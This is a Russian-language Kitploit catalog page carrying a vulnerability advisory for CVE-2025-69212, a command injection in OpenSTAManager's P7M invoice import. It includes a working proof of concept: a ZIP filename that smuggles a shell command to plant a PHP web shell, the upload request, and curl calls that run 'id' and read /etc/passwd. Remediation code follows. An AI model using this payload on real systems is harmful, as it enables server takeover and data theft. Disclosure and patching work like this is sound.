Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManager подвержен внедрению OS-команд при обработке файлов P7M | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2025-69212
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManager подвержен внедрению OS-команд при обработке файлов P7M

Репозиторий
44 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-69212: инъекция команд ОС при обработке файлов P7M в OpenSTAManager

Обзор

ПолеЗначение
Идентификатор CVECVE-2025-69212
КритичностьКРИТИЧЕСКАЯ
УведомлениеПросмотреть уведомление
ОбнаружилLukasz Rybak

Затронутые продукты

  • devcode-it/openstamanager (версии: <= 2.9.8)

Классификация CWE

  • CWE-78: Некорректная нейтрализация специальных элементов, используемых в команде операционной системы ('OS Command Injection')

Подробности

Краткое описание

Критическая уязвимость инъекции команд ОС существует в функциональности декодирования файлов P7M (подписанный XML). Аутентифицированный злоумышленник может загрузить ZIP-архив, содержащий файл .p7m с вредоносным именем, чтобы выполнить произвольные системные команды на сервере.

Уязвимый код

Файл: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

Проблема:

  • Параметр $file передается напрямую в exec() без санитизации
  • Хотя он заключен в двойные кавычки, злоумышленник может их экранировать
  • Имя файла берется из загруженных ZIP-архивов (контролируется пользователем)

Вектор атаки

Точки входа:

  1. plugins/importFE_ZIP/actions.php:126 (когда автоматический импорт включен)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (конструктор)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

Ход атаки:

  1. Злоумышленник создает ZIP-архив с вредоносным именем файла
  2. Загружает ZIP-архив через плагин importFE_ZIP
  3. Приложение извлекает ZIP-архив и перебирает файлы
  4. Для файлов .p7m вызывается decodeP7M()
  5. Вредоносное имя файла внедряется в команду exec()
  6. Произвольная команда выполняется от имени пользователя веб-сервера

Доказательство концепции (PoC)

⚠️ ВАЖНОЕ ПРИМЕЧАНИЕ: PHP-функция ZipArchive::extractTo() разбивает имена файлов по символу /. Полезная нагрузка НЕ должна содержать / в командах. Используйте cd directory && command вместо абсолютных путей.

Шаг 1: Создание вредоносного ZIP-архива

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Шаг 2: Загрузка ZIP-архива

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
изображение изображение

Шаг 3: Результат эксплуатации

Ответ (ошибка 500 ожидаема — разбор XML завершается ошибкой ПОСЛЕ выполнения команды):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Проверка — веб-шелл создан:

изображение

Шаг 4: Удаленное выполнение кода

Веб-шелл публично доступен без аутентификации:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
изображение

Воздействие

  • Удаленное выполнение кода: Полная компрометация сервера
  • Экфильтрация данных: Доступ ко всем данным приложения и базе данных
  • Повышение привилегий: Возможное повышение привилегий, если веб-сервер работает с повышенными правами
  • Постоянство (Persistence): Установка бэкдоров и поддержание доступа
  • Горизонтальное перемещение: Переход на другие системы в сети

Предварительные условия

  • Аутентифицированный пользователь с доступом к функциональности импорта счетов

Устранение уязвимости

Санитизация входных данных

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

или

Проверка имени файла перед обработкой

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Благодарности

Обнаружил: Łukasz Rybak

Ссылки

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

Отказ от ответственности

Данный CVE был раскрыт ответственно в соответствии с практиками координированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.

Скачать инструмент